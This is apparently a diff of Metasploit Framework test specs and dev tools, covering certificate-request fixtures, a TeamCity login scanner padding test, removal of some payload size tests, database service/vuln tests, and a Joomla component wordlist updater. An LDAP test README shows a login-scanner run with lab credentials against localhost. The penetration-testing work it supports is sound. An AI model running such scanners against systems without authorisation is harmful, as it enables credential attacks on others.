fbf53d08a621..ab18f5445d35 100644 --- a/spec/module_validation_spec.rb +++ b/spec/module_validation_spec.rb @@ -97,7 +97,7 @@ end it 'has errors' do - expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "screen-effects", "audio-effects", "physical-effects"] is allowed'] + expect(subject.errors.full_messages).to eq ['Side effects contains invalid values ["ARTIFACTS_ON_DISK"] - only ["artifacts-on-disk", "config-changes", "ioc-in-logs", "account-lockouts", "account-logout", "screen-effects", "audio-effects", "physical-effects"] is allowed'] end end diff --git a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb b/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb index 6c75a4cdc9b9..5ab10f9b5875 100644 --- a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb +++ b/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb @@ -91,19 +91,19 @@ let(:x509_csr) do OpenSSL::X509::Request.new(<<~REQUEST) -----BEGIN CERTIFICATE REQUEST----- - MIICVzCCAT8CAQEwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB + MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3 - DQEBCwUAA4IBAQBDi5bcG7sRB5rZFM7xdcM2xMVPMLW4nXaOovnDll3w439zOGdv - oesl2VxdJD0K1VcjDbS40/usV9+Pt3BJmJjePS/Mj8pBk+GpW2HiZ7VAhvxTb9rx - AiZjNMAzmgl3y4w4gaxV/CuNvKyfdBxGFvqEWqcDfESlttkwDm1ufVgx6T2SGrgc - 91W+/dmaSC+DCm8VCREzzJkD3APE5GRQCLUHiZOTJHEG6s3Gb25SOSVXIpEhWSEA - k5gUxxekO0L6th8aGqwGMtHqKU6AG1PfjgqRb/7dfv+0SoV1CXb7xUuPpDVW5i1F - pVvzc/YjfJ1N/B30y1zAKopstzerGN0fyIdg + DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/ + gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S + b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD + abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a + x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y + i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg -----END CERTIFICATE REQUEST----- REQUEST end @@ -114,7 +114,7 @@ "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ "\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \ - "\x01\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \ + "\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \ "\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \ "\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \ "\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \ @@ -132,21 +132,21 @@ "\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \ "\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \ "\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \ - "\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x43\x8b\x96\xdc\x1b" \ - "\xbb\x11\x07\x9a\xd9\x14\xce\xf1\x75\xc3\x36\xc4\xc5\x4f\x30\xb5\xb8\x9d" \ - "\x76\x8e\xa2\xf9\xc3\x96\x5d\xf0\xe3\x7f\x73\x38\x67\x6f\xa1\xeb\x25\xd9" \ - "\x5c\x5d\x24\x3d\x0a\xd5\x57\x23\x0d\xb4\xb8\xd3\xfb\xac\x57\xdf\x8f\xb7" \ - "\x70\x49\x98\x98\xde\x3d\x2f\xcc\x8f\xca\x41\x93\xe1\xa9\x5b\x61\xe2\x67" \ - "\xb5\x40\x86\xfc\x53\x6f\xda\xf1\x02\x26\x63\x34\xc0\x33\x9a\x09\x77\xcb" \ - "\x8c\x38\x81\xac\x55\xfc\x2b\x8d\xbc\xac\x9f\x74\x1c\x46\x16\xfa\x84\x5a" \ - "\xa7\x03\x7c\x44\xa5\xb6\xd9\x30\x0e\x6d\x6e\x7d\x58\x31\xe9\x3d\x92\x1a" \ - "\xb8\x1c\xf7\x55\xbe\xfd\xd9\x9a\x48\x2f\x83\x0a\x6f\x15\x09\x11\x33\xcc" \ - "\x99\x03\xdc\x03\xc4\xe4\x64\x50\x08\xb5\x07\x89\x93\x93\x24\x71\x06\xea" \ - "\xcd\xc6\x6f\x6e\x52\x39\x25\x57\x22\x91\x21\x59\x21\x00\x93\x98\x14\xc7" \ - "\x17\xa4\x3b\x42\xfa\xb6\x1f\x1a\x1a\xac\x06\x32\xd1\xea\x29\x4e\x80\x1b" \ - "\x53\xdf\x8e\x0a\x91\x6f\xfe\xdd\x7e\xff\xb4\x4a\x85\x75\x09\x76\xfb\xc5" \ - "\x4b\x8f\xa4\x35\x56\xe6\x2d\x45\xa5\x5b\xf3\x73\xf6\x23\x7c\x9d\x4d\xfc" \ - "\x1d\xf4\xcb\x5c\xc0\x2a\x8a\x6c\xb7\x37\xab\x18\xdd\x1f\xc8\x87\x60\xa0" \ + "\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \ + "\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \ + "\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \ + "\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \ + "\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \ + "\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \ + "\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \ + "\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \ + "\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \ + "\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \ + "\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \ + "\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \ + "\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \ + "\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \ + "\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \ "\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \ "\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \ "\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \ @@ -256,23 +256,23 @@ "\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \ "\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \ "\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \ - "\xef\xf1\x08\x75\x09\x03\xad\x18\x44\x47\x2e\x2c\xbd\x14\x15\x3f\xd1\xe3" \ - "\x3e\xee\x28\x0f\x42\x8d\xe4\x4b\xc6\x08\xc3\x95\x71\xa3\x30\x0b\x06\x09" \ - "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x46\x06\xd6\x18\x92" \ - "\x5b\xb3\x89\xa4\x19\x44\x55\x1f\xcf\x55\x2e\xb7\xfe\x28\xf4\x6f\xfd\x97" \ - "\xd2\x01\xac\xcd\x15\x8d\x1a\x8f\xac\x26\x5c\xa3\xd3\x7d\xb0\xc3\x36\x47" \ - "\xff\x4d\x5a\x98\x4f\x17\x43\x70\x60\xf1\x69\x44\xfa\x27\x61\x71\x2a\xe5" \ - "\xa8\x8a\x98\x0d\x34\x4d\x22\x23\x10\xde\x43\x60\xf5\x3f\x7b\x3a\x72\xe4" \ - "\xf7\x69\x29\xe0\xaa\x9e\xff\x28\x18\x8c\x61\xb2\xe1\x41\x7a\x69\x92\x47" \ - "\xac\x2e\xe7\x92\x26\xd8\x54\x91\xae\x54\xaa\x8e\xc0\x06\x0d\x4b\x51\xfe" \ - "\xbe\x92\x40\x07\x11\x6e\x2b\xe0\xb8\xc0\xab\xfe\x52\x90\x3a\x28\xec\xa9" \ - "\xb1\x9a\xf2\xce\x43\x04\xf8\xea\x14\x2d\x54\xe4\x21\x23\x2e\x2a\xf0\x13" \ - "\xcd\xd7\x3c\xf5\xba\x76\x3c\x1a\xf4\x7c\xc7\x22\x34\xff\x84\x79\xb0\x32" \ - "\xe9\x04\xb7\x22\x92\x3f\x3a\x3d\x12\x47\xce\xe3\x9e\x4f\xd4\x5b\x83\xd9" \ - "\xc1\x20\x20\x04\x22\xed\xb5\x59\x43\x1c\xa9\xab\x0f\xb1\xb0\x9f\x05\x1c" \ - "\x88\x88\x98\xb9\x97\x53\x1e\xa4\xe3\xfd\x58\x92\x09\xe7\xcc\x83\xbf\x5f" \ - "\xc2\xb3\x08\x33\x96\x41\x75\x46\x35\x55\x0a\x34\x2e\xd8\x0b\x76\x2f\xf2" \ - "\xba\xf0\x21\x25\xc3\x73\x52\x5b\x8b\x51\xe8\x03\xb3\x78\x70\xc5\xf5" + "\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \ + "\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \ + "\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \ + "\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \ + "\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \ + "\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \ + "\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \ + "\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \ + "\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \ + "\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \ + "\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \ + "\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \ + "\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \ + "\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \ + "\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \ + "\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \ + "\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6" ) end @@ -300,7 +300,7 @@ expect(result).to respond_to(:to_der) end - it 'should be correct' do + it 'should be correct' do expect(result.to_der).to eq(x509_csr.to_der) end end diff --git a/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb b/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb index 854019788083..31f454527155 100644 --- a/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb +++ b/spec/modules/auxiliary/scanner/ssh/ssh_login_spec.rb @@ -24,7 +24,7 @@ let(:credential) do Metasploit::Framework::Credential.new(private: password, public: username) end - let(:datastore) { Msf::ModuleDataStoreWithFallbacks.new(subject) } + let(:datastore) { Msf::ModuleDataStore.new(subject) } let(:host) { '10.10.10.10' } let(:module_manager) { instance_double(Msf::ModuleManager) } let(:password) { 'secret' } diff --git a/spec/modules/auxiliary/scanner/teamcity/teamcity_login_spec.rb b/spec/modules/auxiliary/scanner/teamcity/teamcity_login_spec.rb new file mode 100644 index 000000000000..22e69a16080a --- /dev/null +++ b/spec/modules/auxiliary/scanner/teamcity/teamcity_login_spec.rb @@ -0,0 +1,95 @@ +require 'rspec' +require 'metasploit/framework/login_scanner/teamcity' + +RSpec.describe Metasploit::Framework::LoginScanner::TeamCity do + + let(:subject) { described_class.new } + + # Sample public key taken from a running instance of TeamCity + let(:teamcity_public_key) { 123745099044379560034534292817206769690406658656179033915532150868201038268331364602421054634661908195221281696003927960251442559477403753250293468778385622756011022439279250077496033565623853604577886813851441780820332383679913126402116420846511593354558582754642561605875011841424796003363034584971880190853 } + + describe '#two_byte_chars?' do + [ + { input: 'abc', expected: false }, + { input: '', expected: false }, + { input: 'ççç', expected: false }, # has2byteChars('ç') -> false + # I love metasploit + { input: 'メタスプライトが大好きです', expected: true } # has2byteChars('メタスプライトが大好きです') -> true + ].each do |scenario| + it 'returns the correct value' do + expect(subject.two_byte_chars?(scenario[:input])).to eq(scenario[:expected]) + end + end + + [ + { input: nil }, + { input: true }, + { input: 123 }, + { input: [] } + ].each do |scenario| + it 'raises an error on incorrect type' do + expect { subject.two_byte_chars?(scenario[:input]) }.to raise_error(ArgumentError) + end + end + end + + describe '#max_data_size' do + [ + { input: 'abc', expected: 116 }, + { input: '', expected: 116 }, + { input: 'ççç', expected: 116 }, + { input: 'メタスプライトが大好きです', expected: 58 } # I love metasploit + ].each do |scenario| + it 'returns the correct maximum message length' do + expect(subject.max_data_size(scenario[:input])).to eq(scenario[:expected]) + end + end + + [ + { input: nil }, + { input: true }, + { input: 123 }, + { input: [] } + ].each do |scenario| + it 'raises an error on incorrect type' do + expect { subject.max_data_size(scenario[:input]) }.to raise_error(ArgumentError) + end + end + end + + describe '#pkcs1pad2' do + [ + { input: 'abc', expected: /0061626303$/ }, + { input: '', expected: /0000$/ }, + { input: 'ççç', expected: /00e7e7e703$/ }, # 3 chars, E7 codepoint + { input: 'メタスプライトが大好きです', expected: /0030e130bf30b930d730e930a430c8304c5927597d304d306730590d$/ } # I love metasploit + ].each do |scenario| + it 'correctly pads text' do + n = (teamcity_public_key.bit_length + 7) >> 3 + padded_as_big_int = subject.pkcs1pad2(scenario[:input], n) + padded_hex = padded_as_big_int.to_s(16) + expect(padded_hex).to match(scenario[:expected]) + end + end + + [ + { input: nil, n: nil }, + { input: '', n: nil }, + { input: nil, n: 128 }, + { input: true, n: true }, + ].each do |scenario| + it 'raises an error on incorrect type' do + expect { subject.pkcs1pad2(scenario[:input], scenario[:n]) }.to raise_error(ArgumentError) + end + end + + [ + { input: 'a', n: 11 }, + { input: 'very_long_message_that_consists_of_many_characters', n: 40 } + ].each do |scenario| + it 'raises an error when message is too long' do + expect { subject.pkcs1pad2(scenario[:input], scenario[:n]) }.to raise_error(ArgumentError) + end + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 59bceee80102..0b3386bf593c 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -3422,16 +3422,6 @@ reference_name: 'windows/dllinject/find_tag' end - context 'windows/dllinject/reverse_hop_http' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/windows/reverse_hop_http', - 'stages/windows/dllinject' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'windows/dllinject/reverse_hop_http' - end context 'windows/dllinject/reverse_http' do it_should_behave_like 'payload cached size is consistent', @@ -3768,17 +3758,6 @@ reference_name: 'windows/meterpreter/find_tag' end - context 'windows/meterpreter/reverse_hop_http' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/windows/reverse_hop_http', - 'stages/windows/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'windows/meterpreter/reverse_hop_http' - end - context 'windows/meterpreter/reverse_http' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3812,17 +3791,6 @@ reference_name: 'windows/meterpreter/reverse_https' end - context 'windows/meterpreter/reverse_https_proxy' do - it_should_behave_like 'payload cached size is consistent', - ancestor_reference_names: [ - 'stagers/windows/reverse_https_proxy', - 'stages/windows/meterpreter' - ], - dynamic_size: false, - modules_pathname: modules_pathname, - reference_name: 'windows/meterpreter/reverse_https_proxy' - end - context 'windows/meterpreter/reverse_ipv6_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 6e0463ca4672..090cdc799f80 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -159,12 +159,6 @@ end end - if ENV['MSF_FEATURE_DATASTORE_FALLBACKS'] - config.before(:suite) do - Msf::FeatureManager.instance.set(Msf::FeatureManager::DATASTORE_FALLBACKS, true) - end - end - if ENV['MSF_FEATURE_DEFER_MODULE_LOADS'] config.before(:suite) do Msf::FeatureManager.instance.set(Msf::FeatureManager::DEFER_MODULE_LOADS, true) diff --git a/spec/support/acceptance/session/java.rb b/spec/support/acceptance/session/java.rb index 99ca708eda06..029ce6e672f0 100644 --- a/spec/support/acceptance/session/java.rb +++ b/spec/support/acceptance/session/java.rb @@ -117,9 +117,7 @@ module Acceptance::Session known_failures: [] }, windows: { - known_failures: [ - "[-] [should delete a symbolic link target] failed to create the symbolic link" - ] + known_failures: [] } } }, diff --git a/spec/support/lib/module_validation.rb b/spec/support/lib/module_validation.rb index 135291bab9e7..86501abd6262 100644 --- a/spec/support/lib/module_validation.rb +++ b/spec/support/lib/module_validation.rb @@ -55,6 +55,7 @@ def initialize(mod) Msf::CONFIG_CHANGES, Msf::IOC_IN_LOGS, Msf::ACCOUNT_LOCKOUTS, + Msf::ACCOUNT_LOGOUT, Msf::SCREEN_EFFECTS, Msf::AUDIO_EFFECTS, Msf::PHYSICAL_EFFECTS diff --git a/spec/support/shared/examples/msf/core/optional_session.rb b/spec/support/shared/examples/msf/core/optional_session.rb index c1a1080f21b0..a6f61122c239 100644 --- a/spec/support/shared/examples/msf/core/optional_session.rb +++ b/spec/support/shared/examples/msf/core/optional_session.rb @@ -7,7 +7,7 @@ include_context 'Msf::Simple::Framework' let(:options) { instance_double(Msf::OptionContainer) } - let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) } + let(:datastore) { instance_double(Msf::DataStore) } let(:session) { instance_double(Msf::Sessions::SMB) } let(:session_group) { instance_double(Msf::OptionGroup) } let(:rhost_group) { instance_double(Msf::OptionGroup) } diff --git a/spec/support/shared/examples/msf/db_manager/module_cache.rb b/spec/support/shared/examples/msf/db_manager/module_cache.rb index be886a56d5dc..7cc1f4bcb82e 100644 --- a/spec/support/shared/examples/msf/db_manager/module_cache.rb +++ b/spec/support/shared/examples/msf/db_manager/module_cache.rb @@ -812,7 +812,8 @@ def loader.load_error(module_path, error) allow(db_manager).to receive( :module_to_details_hash ).with( - module_instance + module_instance, + with_mixins: false ).and_return( module_to_details_hash ) diff --git a/spec/support/shared/examples/msf/db_manager/service.rb b/spec/support/shared/examples/msf/db_manager/service.rb index 0bb4d950e71b..fea896a40b2c 100644 --- a/spec/support/shared/examples/msf/db_manager/service.rb +++ b/spec/support/shared/examples/msf/db_manager/service.rb @@ -8,4 +8,61 @@ it { is_expected.to respond_to :find_or_create_service } it { is_expected.to respond_to :services } it { is_expected.to respond_to :report_service } + + describe '#report_service', if: !ENV['REMOTE_DB'] do + let(:workspace) do + subject.default_workspace + end + + let(:task) do + subject.report_task(workspace: workspace, user: 'test_user', info: 'info', path: 'mock/path') + end + + context 'without a task' do + it 'creates a service' do + service = subject.report_service( + host: '192.0.2.1', + port: '5000', + name: 'test_service', + proto: 'tcp', + info: 'banner', + workspace: workspace + ) + expect(subject.services({ workspace: workspace }).count).to eq 1 + expect(service.name).to eq 'test_service' + expect(service.port).to eq 5000 + expect(service.proto).to eq 'tcp' + expect(service.info).to eq 'banner' + expect(service.host.address.to_s).to eq '192.0.2.1' + expect(service.host.workspace).to eq workspace + expect(service.task_services).to be_empty + expect(task.task_services).to be_empty + end + end + + context 'with a task and calling multiple times' do + it 'creates a service' do + service = 3.times.map do |count| + subject.report_service( + host: '192.0.2.1', + port: '5000', + name: 'test_service', + proto: 'tcp', + info: "banner #{count}", + workspace: workspace, + task: task + ) + end.last + expect(subject.services({ workspace: workspace }).count).to eq 1 + expect(service.name).to eq 'test_service' + expect(service.port).to eq 5000 + expect(service.proto).to eq 'tcp' + expect(service.info).to eq 'banner 2' + expect(service.host.address.to_s).to eq '192.0.2.1' + expect(service.host.workspace).to eq workspace + expect(service.task_services.length).to eq 1 + expect(task.task_services.length).to eq 1 + end + end + end end diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 88a99cb63125..17dbae67d08a 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -29,19 +29,20 @@ update_all_module_details end - it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do - expect(db_manager).to receive(:update_module_details) do |module_instance| - expect(module_instance).to be_a Msf::Module - expect(module_instance.type).to eq module_detail.mtype - expect(module_instance.refname).to eq module_detail.refname - end - + it 'should create a new Mdm::Module::Detail entry' do update_all_module_details + + aggregate_failures do + expect(Mdm::Module::Detail.count).to eq 1 + db_module_detail = Mdm::Module::Detail.first + expect(db_module_detail.mtype).to eq(module_detail.mtype) + expect(db_module_detail.refname).to eq(module_detail.refname) + end end - context 'with exception raised by #update_module_details' do + context 'with exception raised by #insert_all' do before(:example) do - expect(db_manager).to receive(:update_module_details).and_raise(Exception) + expect(db_manager).to receive(:module_to_details_hash).and_raise(Exception) end it 'should log error' do diff --git a/spec/support/shared/examples/msf/db_manager/vuln.rb b/spec/support/shared/examples/msf/db_manager/vuln.rb index 95b200da8a74..ccdbe6c94bac 100644 --- a/spec/support/shared/examples/msf/db_manager/vuln.rb +++ b/spec/support/shared/examples/msf/db_manager/vuln.rb @@ -9,6 +9,44 @@ it { is_expected.to respond_to :find_vuln_by_details } end - it { is_expected.to respond_to :report_vuln } + describe '#report_vuln', if: !ENV['REMOTE_DB'] do + let(:workspace) do + subject.default_workspace + end + + let(:service) do + subject.report_service( + host: '192.0.2.1', + port: '5000', + name: 'test_service', + proto: 'tcp', + info: 'banner', + workspace: workspace + ) + end + + context 'without an origin' do + it 'creates a vuln' do + vuln = subject.report_vuln( + host: '192.0.2.1', + sname: 'AD CS', + name: "vuln name", + info: 'vuln info', + refs: ['https://example.com'], + workspace: workspace, + service: service, + ) + expect(subject.vulns({ workspace: workspace }).count).to eq 1 + expect(vuln.name).to eq 'vuln name' + expect(vuln.service.name).to eq 'test_service' + expect(vuln.service.port).to eq 5000 + expect(vuln.info).to eq 'vuln info' + expect(vuln.host.address.to_s).to eq '192.0.2.1' + expect(vuln.host.workspace).to eq workspace + expect(service.task_services).to be_empty + end + end + end + it { is_expected.to respond_to :vulns } -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module/data_store.rb b/spec/support/shared/examples/msf/module/data_store.rb index c51388cc89c4..10e15cced701 100644 --- a/spec/support/shared/examples/msf/module/data_store.rb +++ b/spec/support/shared/examples/msf/module/data_store.rb @@ -2,4 +2,4 @@ it { is_expected.to respond_to :datastore } it { is_expected.to respond_to :import_defaults } it { is_expected.to respond_to :share_datastore } -end \ No newline at end of file +end diff --git a/test/ldap/README.md b/test/ldap/README.md new file mode 100644 index 000000000000..7a1c298aa766 --- /dev/null +++ b/test/ldap/README.md @@ -0,0 +1,21 @@ +## Usage + +Building: + +``` +docker compose build +docker compose up +``` + +The system should be available on `127.0.0.1:389` and `127.0.0.1:636` - with the creds `Administrator:admin123!` and `DEV-AD` as the domain. + +Example of running a wih a Metasploit module: + +```msf +msf6 auxiliary(scanner/ldap/ldap_login) > run rhost=127.0.0.1 username=DEV-AD\\Administrator password=admin123! CreateSession=true +... +msf6 auxiliary(scanner/ldap/ldap_login) > sessions -i -1 +[*] Starting interaction with 1... + +LDAP (127.0.0.1) > +``` diff --git a/tools/dev/update_joomla_components.py b/tools/dev/update_joomla_components.py deleted file mode 100755 index 3aa0ae1be278..000000000000 --- a/tools/dev/update_joomla_components.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/python3 -import requests - -new_com = requests.get("https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt").text -with open('data/wordlists/joomla.txt', 'r') as j: - old = j.read().splitlines() - -for com in new_com.splitlines(): - if not 'components/%s/'%(com) in old: - old.append('components/%s/'%(com)) - print('[+] Adding: components/%s/'%(com)) - -old.sort() -with open('data/wordlists/joomla.txt', 'w') as j: - j.write('\n'.join(old)) - j.write('\n') diff --git a/tools/dev/update_joomla_components.rb b/tools/dev/update_joomla_components.rb new file mode 100644 index 000000000000..f19c0cc06920 --- /dev/null +++ b/tools/dev/update_joomla_components.rb @@ -0,0 +1,78 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +# +# by h00die +# + +require 'optparse' +require 'net/http' +require 'uri' +optparse = OptionParser.new do |opts| + opts.banner = 'Usage: ruby tools/dev/update_joomla_components.rb [options]' + opts.separator "This program updates data/wordlists/joomla.txt which is used by modules/auxiliary/scanner/http/joomla_scanner.rb to have the most up-to-date list of vuln components" + opts.separator "" + opts.on('-h', '--help', 'Display this screen.') do + puts opts + exit + end +end +optparse.parse! + +# colors and puts templates from msftidy.rb + +class String + def red + "\e[1;31;40m#{self}\e[0m" + end + + def yellow + "\e[1;33;40m#{self}\e[0m" + end + + def green + "\e[1;32;40m#{self}\e[0m" + end + + def cyan + "\e[1;36;40m#{self}\e[0m" + end +end + +# +# Display an error message, given some text +# +def error(txt) + puts "[#{'ERROR'.red}] #{cleanup_text(txt)}" +end + +# +# Display a warning message, given some text +# +def warning(txt) + puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}" +end + +# +# Display a info message, given some text +# +def info(txt) + puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}" +end + +uri = URI.parse('https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt') +new_com = Net::HTTP.get(uri) + +old = File.read('data/wordlists/joomla.txt').split("\n") + +new_com.each_line do |com| + unless old.include?("components/#{com.strip}/") + old << "components/#{com.strip}/" + info "Adding: components/#{com.strip}/" + end +end + +old.sort! 